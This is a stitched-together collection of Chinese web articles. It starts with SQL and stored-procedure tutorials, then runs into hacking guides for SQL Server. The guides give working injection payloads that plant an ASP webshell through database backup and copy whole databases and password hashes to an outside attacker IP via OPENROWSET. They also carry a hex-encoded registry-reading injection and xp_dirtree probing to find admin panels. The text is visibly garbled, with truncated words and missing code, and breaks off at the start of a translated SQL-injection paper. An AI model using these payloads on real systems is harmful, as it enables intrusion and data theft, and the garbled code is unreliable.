sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"
(3) 删除数据记录:
sql="delete from 数据表 where 条件表达式"
sql="delete from 数据表" (将数据表所有记录删除)
(4) 添加数据记录:
sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)"
sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)
(5) 数据记录统计函数:
AVG(字段名) 得出一个表格栏平均值
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加
引用以上函数的方法:
sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=(sql)
用 rs("别名") 获取统的计值,其它函数运用同上。
(5) 数据表的建立和删除:
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )
例:CREATE TABLE tab01(name varchar(50),datetime default now())
DROP TABLE 数据表名称 (永久性删除一个数据表)
4. 记录集对象的方法:
xt 将记录指针从当前的位置向下移一行
evious 将记录指针从当前的位置向上移一行
rst 将记录指针移到数据表第一行
st 将记录指针移到数据表最后一行
原创:数据库】SQL SERVER数据库开发之存储过程应用
标 题:SQL SERVER数据库开发之存储过程的应用
作 者:栽培者
日 期:2005-12-27
说 明:由于个人能力有限,文章中难免会出现错误或遗漏的地方,敬请谅解!同时欢迎你指出,以便我能及时修改,以免误导下一个看官。最后希望本文能给你带来一定的帮助。
序
可能有不少朋友使用SQL SERVER做开发也已经有段日子,但还没有或者很少在项目中使用存储过程,或许有些朋友认为根本没有必要使用存储过程等等。其实当你一个项目做完到了维护阶段时,就会发现存储过程给我们带来了好处了,修改方便,不能去改我们的应用程序,只需要改存储过程的内容,而且还可以使我们的程序速度得到提高。
QUOTE:
SQL SERVER 联机丛书中的定义:
存储过程是保存起来的可以接受和返回用户提供的参数的 Transact-SQL
语句的集合。
可以创建一个过程供永久使用,或在一个会话中临时使用(局部临时过程),或在所有会话中临时使用(全局临时过程)。
也可以创建在 Microsoft SQL Server 启动时自动运行的存储过程。
要使用存储过程,首先我们必需熟悉一些基本的T-SQL语句,因为存储过程是由于一组T-SQL语句构成的,并且,我们需要了解一些关于函数、过程的概念,因为我们需要在应用程序中调用存储过程,就像我们调用应用程序的函数一样,不过调用的方法有些不同。
下面我们来看一下存储过程的建立和使用方法。
一、创建存储过程
和数据表一样,在使用之前我们需要创建存储过程,它的简明语法是:
QUOTE:
CREATE PROC 存储过程名称
[参数列表(多个以―,‖分隔)]
AS
SQL 语句
例:
QUOTE:
CREATE PROC upGetUserName
@intUserId INT,
@ostrUserName NVARCHAR(20) OUTPUT -- 要输出的参数
AS
BEGIN
-- 将uName的值赋给 @ostrUserName 变量,即要输出的参数
SELECT @ostrUserName=uName FROM uUser WHERE uId=@intUserId
END
其中 CREATE PROC 语句(完整语句为CREATE PROCEDURE)的意思就是告诉SQL SERVER,现在需要建立一个存储过程,upGetUserName 就是存储过程名称,@intUserId 和 @ostrUserName 分别是该存储过程的两个参数,注意,在SQL SERVER中,所有用户定义的变量都以―@‖开头,OUTPUT关键字表示这个参数是用来输出的,AS之后就是存储过程内容了。只要将以上代码在―查询分析器‖里执行一次,SQL SERVER就会在当前数据库中创建一个名为―upGetUserName‖的存储过程。你可以打开―企业管理器‖,选择当前操作的数据库,然后在左边的树型列表中选择―存储过程‖,此时就可以在右边的列表中看到你刚刚创建的存储过程了(如果没有,刷新一下即可)。
二、存储过程的调用
之前我们已经创建了一个名为―upGetUserName‖的存储过程,从字面理解该存储过程的功能是用来取得某一个用户的名称。存储过程建立好了,接下来就是要在应用程序里调用了,下面看一下在ASP程序里的调用。
QUOTE:
Dim adoComm
'// 创建一个对象,我们用来调用存储过程
Set adoComm = CreateObject("d")
With adoComm
'// 设置连接,设 adoConn 为已经连接的 tion 对象
.ActiveConnection = adoConn
'// 类型为存储过程,adCmdStoredProc = 4
.CommandType = 4
'// 存储过程名称
.CommandText = "upGetUserName"
'// 设置用户编号
.("@intUserId").Value = 1
'// 执行存储过程
.Execute
'// 取得从存储过程返回的用户名称
"用户名:" & .("@ostrUserName").Value
End With
'// 释放对象
Set adoComm = Nothing
通过以上两步,我们已经可以创建和使用简单的存储过程了。下面我们来看一个稍微复杂点的存储过程,以进一步了解存储过程的应用。
三、存储过程的实际应用
用户登录在ASP项目中经常会使用到,相信很多朋友也都做过类似的系统,但使用存储过程来做验证朋友可能不多,那么我们就以它来做例子,写一个简单的用户登录验证的存储过程。
QUOTE:
CREATE PROC upUserLogin
@strLoginName NVARCHAR(20),
@strLoginPwd NVARCHAR(20),
@blnReturn BIT OUTPUT
AS
-- 定义一个临时用来保存密码的变量
DECLARE @strPwd NVARCHAR(20)
BEGIN
-- 从表中查询当前用户的密码,赋值给 @strPwd 变量,下面要对他进行比较
SELECT @strPwd=uLoginPwd FROM uUser WHERE
uLoginName=@strLoginName
IF @strLoginPwd = @strPwd
BEGIN
SET @blnReturn = 1
-- 更新用户最后登录时间
UPDATE uUser SET uLastLogin=GETDATE() WHERE
uLoginName=@strLoginName
END
ELSE
SET @blnReturn = 0
END
用户登录的存储过程建立好了,现在在程序里试一下吧。注意,在一个区域内如果有多条语句时,必需使用END关键字。
QUOTE:
Dim adoComm
'// 创建一个对象,我们用来调用存储过程
Set adoComm = CreateObject("d")
With adoComm
'// 设置连接,设 adoConn 为已经连接的 tion 对象
.ActiveConnection = adoConn
'// 类型为存储过程,adCmdStoredProc = 4
.CommandType = 4
'// 存储过程名称
.CommandText = "upUserLogin"
'// 设置登录名称
.("@strLoginName").Value = "admin"
'// 设置登录密码
.("@strLoginPwd").Value = "123456"
'// 执行存储过程
.Execute
'// 判断是否登录成功
If .("@blnReturn").Value = 1 Then
"恭喜你,登录成功!"
Else
"不是吧,好像错了哦。。。"
End If
End With
'// 释放对象
Set adoComm = Nothing
通过以上的步骤,简单用户登录验证过程也做完了,现在只要把它整合到程序中就可以实现简单的用户登录验证了,关于其他细节就由你自己来处理了。
上面介绍的两个存储过程都是只返回一个值的,下面我们来看一个返回一个记录集的存储过程。
QUOTE:
CREATE PROC upGetUserInfos
@intUserGroup INT
AS
BEGIN
-- 从数据库中抽取符合条件的数据
SELECT uName,uGroup,uLastLogin FROM uUser WHERE
uGroup=@intUserGroup
-- 插入一列合计
UNION
SELECT '合计人数:',COUNT(uGroup),NULL FROM uUser WHERE
uGroup=@intUserGroup
END
现在我们来看一下ASP程序的调用。
QUOTE:
Dim adoComm
Dim adoRt
'// 创建一个对象,我们用来调用存储过程
Set adoComm = CreateObject("d")
Set adoRs = CreateObject("set")
With adoComm
'// 设置连接,设 adoConn 为已经连接的 tion 对象
.ActiveConnection = adoConn
'// 类型为存储过程,adCmdStoredProc = 4
.CommandType = 4
'// 存储过程名称
.CommandText = "upGetUserInfos"
'// 设置用户组
.("@intUserGroup").Value = 1
'// 执行存储过程,和以上几个例子不同,这里使用RecordSet的Open方法
adoComm
'// 显示第一个值
(0).Value
End With
'// 释放对象
Set adoRs = Nothing
Set adoComm = Nothing
怎么样,是不是也很简单呢,不过存储过程的用处不仅仅只有这些,他还有更强大的功能,比如使用游标、临时表来从多个表,甚至是多个数据库中调用数据,然后返回给用户,这些你可以在使用过程中慢慢的去发掘。
利用 mssql backup 创建webshell
[ 来源:/down/ | 作者: | 时间:2007-5-18 17:41:06 | 浏览: 105 人次 ]
最早想到利用数据库系统来写文件大约MySQL下面的事情吧,我记得有篇经典的贴子是讲利用TCP反弹结合输入法漏洞入侵的,第一步,也是很重要的一步就是利用了MySQL导出表到文件获得了一个web上的shell。ACCESS功能不
那么强大,有注入漏洞的时候也不能直接获得执行任何命令的权限,就不说了;MSSQL倒是有很多人详细研究过,执行命令的方法罗列了很多,可是没有了exec的权限,所做的还是有限。很多人就在问,MSSQL下面能不能导出一张表到文件,就像MySQL那样子,至少先获得一个低权限的shell来看看,我找来找去也没有找到导出表的命令,只好另想方法--不能导出表,那就只好导出数据库了,效果嘛,大部分情况下还是一样的。
在说明做法前,还是先来看看为什么可以。IIS在通过处理.asp扩展名文件的时候,对以外的内容,不做任何处理就直接输出,比如拷贝一个.exe文件到web发布目录,改扩展名为.asp后在IE中请求,返回来的结果是多半是.exe文件的内容,而不会是一个500服务器内部错误。而对于括起来的内容,默认情况下是按照VBscripqs的方式解释执行后给出结果,如果在里面的内容有语法错误,才会出现常见的500服务器内部错误。换句话说,如果有一个以.asp为扩展名的文件,只要能精心控制所有的中的内容,我们就能够让它正确的执行,而至于以外的东西,不去处理它,我们也不去关心。
再来看看在MSSQL下使用backup database的情况。随便导出一个数据库看看,比如model,当然了,可以在查询分析器中做:
backup database model to disk='c:'
用文本的方式打开这个文件。通过上面的分析,我们只要知道默认的情况下,如果把这个文件改扩展名为.asp后,请求时会不会出现问题,于是我们查找是否存在,呵呵,显然是没有的吧,也就是说我们的请求会返回文本方式的内容。首先是默认的导出文件不会导致解释执行时的错误,这是很关键的一步,剩下的就是我们要让他变为一个shell,当然是做一个表进去了,表的内容在备份的时候一定会被存储到备份文件中去的,我们可以控制表的内容,自然也可以控制备份文件的内容。
到这里可能有人已经想一股脑儿把经典的asp shell的内容写入新建的表然后backup database了,嗯,还没有那么简单,你这样做了的话,如果还想继续我们的实验,那可能要花上重装MSSQL的代价。对于文本类型等的数据,比如text,nvchar等,在数据库中可能的形式是"abc",但是在导出文件中,已经变成了宽字符的形式,成了"a b c ",这样子的话,即使你好心写的是一个",这样子,我们才能完全的控制内的内容,保证能够得到一个正确无误的asp shell。
OK,终于到了实践的部分了。通过上面的分析,应该知道利用backup database来做一个shell是完全可行的,我们先来改写一下那个利用FSO的asp shell,使其能够符合我们的要求:
" method="POST">
<%= szCMD %>Run
然后打开查询分析器,依次输入以下的SQL查询语句。这些语句的大意就是创建一张表,里面有一个二进制image类型的列,然后把我们上面改写的那个shell作为内容输进去,最后导出整个数据库到一个.asp文件,开始!
use model
create table cmd (str image);
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('
" method="POST">');
insert into cmd(str) values ('<%= szCMD %>Run
');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
backup database model to disk='c:';
拷贝c:到你的web发布目录,再用浏览器请求一下,没有500错误的话,你已经获得一个shell了,不过这个shell中垃圾数据实在是太多,你要多按几下TAB键才能到输入命令的那个输入框。
末了再说说可能出现的问题,一般来说随意选择一个数据库导出,默认情况下里面是不含有的,但也不排除有这种可能,尽管几率很小,但是我就遇到过一次。如果以前没有动过model,导出的文件肯定是符合要求的,但是如果你中途如果写错了些东西,比如创建了一个表,内容有出现的话,这个数据库就再也不能用了,因为也许是为了事务回滚的需要,即使你删除了这张表,在导出的文件中依然保存有这张表的原始内容,所以,千万要一次成功,错了就完了。
当然上面只是在查询分析器中的实验,实际情况下,如果你能以sa的身份注入,当然是比较轻松的,只是猜测web的物理路径的时候可能会稍微有一些麻烦,因为你得一次性导出到web的发布目录,不过也许你可以结合其他暴露物理路径的漏洞来利用。如果不是sa的身份的话,也许declare @a sysname;select
@a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,如果你真的通过这种方法得到了shell,其实你会发现,这真是世界上最可爱最好用的asp shell--尽管有很多垃圾数据,也许还是个2、3M的大家伙
SQL_Injection高级应用 作者:apachy 灌一篇水,写一点关于SQL Injection的高级应用,针对SQL Server的。我假设你已经非常了解SQL Injection的基本概念。
【目标探测】当大多数人都意识到SQL Injection的威胁并进行一番修补之后,可能很难再找到下手的地方。但若想成功就必需要冷静耐心,当然有时也需要一点点运气;) 如果有源码,一定要耐心仔细地看。在一个庞大的系统中,是很难做到万无一失的。而只要有一处漏洞,就足够威胁整个系统。千里之堤,溃于蚁穴。 这里主要总结一些Injection的高级用法。如何发现漏洞不是此篇主题,可参考我以前的一篇文章《发掘另类injection》 需要说明的是,Injection不只存在于web页面,应用程序也存在,绝不可以只见树木不见森林。对任何一种技术的认识和理解要精益求精,将作用发挥的淋漓尽致。言归正传: 一、开启远程数据库基本语法 select * from
OPENROWSET(‘SQLOLEDB‘, ‘server=servername;uid=sa;pwd=apachy_123‘, ‘select * from table1‘ ) 参数: (1) OLEDB Provider name (2) 连接字符串 (OLEDB数据源 或 ODBC 连接字符串) (3) SQL语句 其中连接字符串参数可以是任何和端口用来连接,比如 select * from
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from table‘ ) 二、复制数据库利用一个Injection漏洞,可以经过无数次穷举探测来得到数据库中的信息。通常是手动输入,用来探测几位或十几位长的字段还是可行的(比如用来破解密码)。但还是
想更简单一点,干脆写个程序来自动完成这个过程。后来又发现既便用程序,带入的字符依然很有限制,比如想得到数据库中一个―备份型‖字段中的全部数据,这似乎是根本不可能的。有没有更简洁的办法。当然有,把整个数据库复制下来!前提:在本机需要装上SQL SERVER,并且有一个公网IP。要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。 基本语法:
insert into
OPENROWSET(‘SQLOLEDB‘, ‘server=servername;uid=sa;pwd=apachy_123‘, ‘select * from table1‘) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from table1‘) select * from table2 需要注意的是,要成功执行这条语句的前提是必需先在本地建立一个table1,而且table1的结构必需和目标主机上table2的结构一摸一样。为了得到table2的结构,必需从系统数据库着手。首先需要了解一些SQL Server系统数据库构造的知识。当新建用户数据库后,数据库中包含一些系统表,和这个数据库相关的信息就包含在这个表中。表信息,字段名、字段类型、存储过程等关键信息均存放于sysdatabases,sysobjects,syscolumns里面。因此可以通过复制这几个关键系统表来获得目标主机上数据库的构造信息。方法如下: insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from _sysdatabases‘) select * from
abases insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from _sysobjects‘) select * from
user_ects insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from _syscolumns‘) select * from
user_umns 之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库: insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from table1‘) select * able1
insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from table2‘) select * from
able2 ...... 三、复制哈西表(HASH) 这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下: insert into
OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from _sysxlogins‘) select * from
gins 得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。 四、防火墙处理这上述几种方法最根本的一个前提就是要求目标主机连接本地主机,所以这里必需考虑防火墙的因素。在上述所
跨站式SQL注入数据库攻击和防范技巧
2005-01-27 10:06作者:老凯出处:天极BLOG责任编辑:方舟 前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种―跨站式SQL注入‖。
思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。
既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。
第一个想法:
SQL可以连接外部的数据库。
于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。
尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。
提示必须是sysadmin的身份。。失败。
换一个思路:
只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。
于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动―事件跟踪‖监视发过来的命令。
第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。
DECLARE @result varchar(255) exec _regread
'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.*
FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM
s where au_fname=''''' + @result + ''''''')AS a');--
这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT *
FROM s where au_fname=''C:Inetpub,,1''')AS a
其中的C:Inetpub,,1就是注册表记录的根目录,最后要做的是:
DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
这样就等于执行了
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT *
FROM s where au_fname=''C:Inetpub,,1''')AS a
这一条语句,同时你会在事件探测器那边会显示
SELECT * FROM s where au_fname='C:Inetpub,,1'
其中的C:Inetpub 就是网站的路径。。调试成功。。
现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 ?id=1,怎么做呢?
?id=1;create table [dbo].[laokai]([cha8][char](255))--
返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:
?id=1;DECLARE @result varchar(255) exec _regread
'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.*
FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM
s where au_fname=''''' + @result + ''''''')AS a');--
出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制,或许还有别的地方要转化......怎么办啊?
于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地址 / 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。
?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65
%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/' target='_blank'
class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20
执行成功。
?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec
(@a1);--
网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:
注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。
最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。
''SELECT * FROM s where au_fname=''''' + @result + ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'C:Inetpub,,1'
怪异的SQL注入
【 作者:amanl 来源:Bugkidz和Security Angel 更新时间:2004-7-6 | 字体:大 中 小】
测试您的反应速度 美女桌面壁纸 测试您的逻辑能力 美国主机介绍
幽默笑话
-
发布日期:2004-06-29
SQL注入以独特、新奇、变异的语句迎来了技术又一大突破,当然要针对奇、特这两方面作文章,要达到一出奇招,必达核心!那才是SQL注入技术的根本所在。长期以来,MS SQL以它强大的存储进程给我们带来了极大的方便,而如今注入技术主要依靠IIS出错与MS SQL系统提示信息来判断,那利用SELECT构造特殊语句,使系统出错来得到我们要的更深入的信息,如爆库、爆表等,能不能取得详细信息呢?答案是能,但必出奇招!下面我们一步步来拆解奇招!
首先打开MS SQL查询分析器,输入:
xp_dirtree适用权限PUBLIC
语句:exec _dirtree 'c:'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。想到了什么?别急,我们继续!
语句:create table dirs(paths varchar(100), id int)
作用:建表的语句,大家都熟悉吧?但这里建的表起到关键的作用!也就是和上面xp_dirtree相关连,字段相等、类型相同,为我们下一步操作作下铺垫。再来,谜底就要揭晓!
语句:insert dirs exec _dirtree 'c:'
作用:大家觉得奇怪吧?INSERT语句这样是不是有问题呢?NO!原理是只要我们建表与存储进程返回的字段相定义相等就能够执行!与常规INSERT
TABLE(COLOUMN) VALUES(VALUES)差别就是在此,VALUES值我们无法放置存储进程,利用简写:insert dirs exec _dirtree 'c:',而达到写表的效果——既然可以写表,那我们就可利用未公开存储进程来一步步达到我们想要的信息!
上面的东西大家明白了吗?不明白没关系,过招在于实战,实践胜于理论,那我们就来过过招!实际看下!以下用一个网站作为基点作测试,注意:以下测试的权限非SA权限!
语句:/down/?id=1'
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/down/,行21
测试权限结构:
语句1:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('sysadmin'));--
语句2:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('serveradmin'));--
语句3:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('setupadmin'));--
语句4:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('securityadmin'));--
语句5:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('securityadmin'));--
语句6:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('diskadmin'));--
语句7:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('bulkadmin'));--
语句8:/down/?id=1 and 1=(SELECT
IS_SRVROLEMEMBER('bulkadmin'));--
语句9:/down/?id=1 and 1=(SELECT
IS_MEMBER('db_owner'));--
通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,以前黑防讲得很清楚,大家可以翻看臭要饭的《跨库查询你想怎么玩》,现在我们得到管理员的表和管理表资料,进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录。
手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去!
语句:/down/?id=1;create table dirs(paths
varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:/down/?id=1;insert dirs exec
_dirtree 'c:'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:/down/?id=1 and 0<>(select top 1
paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:/down/?id=1 and 0<>(select top 1
paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理
后台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:
语句:/down/?id=1;create table dirs1(paths
varchar(100), id int)--
语句:/down/?id=1;insert dirs exec
_dirtree 'e:web'--
语句:/down/?id=1 and 0<>(select top 1
paths from dirs1)--
经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:
语句:/down/xxxadminlogin/
显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……
XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方。
再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法!
语句:/down/?id=1;declare @a sysname; set
@a=db_name();backup database @a to disk='e:';--
去下载吧!亲爱的朋友们!嘿嘿。
本文介绍是一种变异写表方法,没有多少技术含量,只是给大家提供一种构造语句的思路。本文针对网站连接权限不是数据库服务器角色组的成员,能为注入所利用的内置扩展存储进程并不多,扩展的存储进程涉及权限比较高的用户才能访问,所以说一个安全的网站与管理者对权限结构的合理分配是密不可分的,你注意到了吗?
SQL Server应用程序中的高级SQL注入
日期:2004年10月26日 作者:热点网络学院
SQL Server应用程序中的高级SQL注入
作者:Chris Anley[chris@]
An NGSSoftware Insight Security Research(NISR) Publication
翻译:青野志狼(panderlang)
来源:狼族在线/)
第一次翻译,水平有限,难免有错,请不吝指正。转载请保留信息完整。
摘要:
这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其
他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
Login
下面是process_的代码,它是用来控制登陆的:
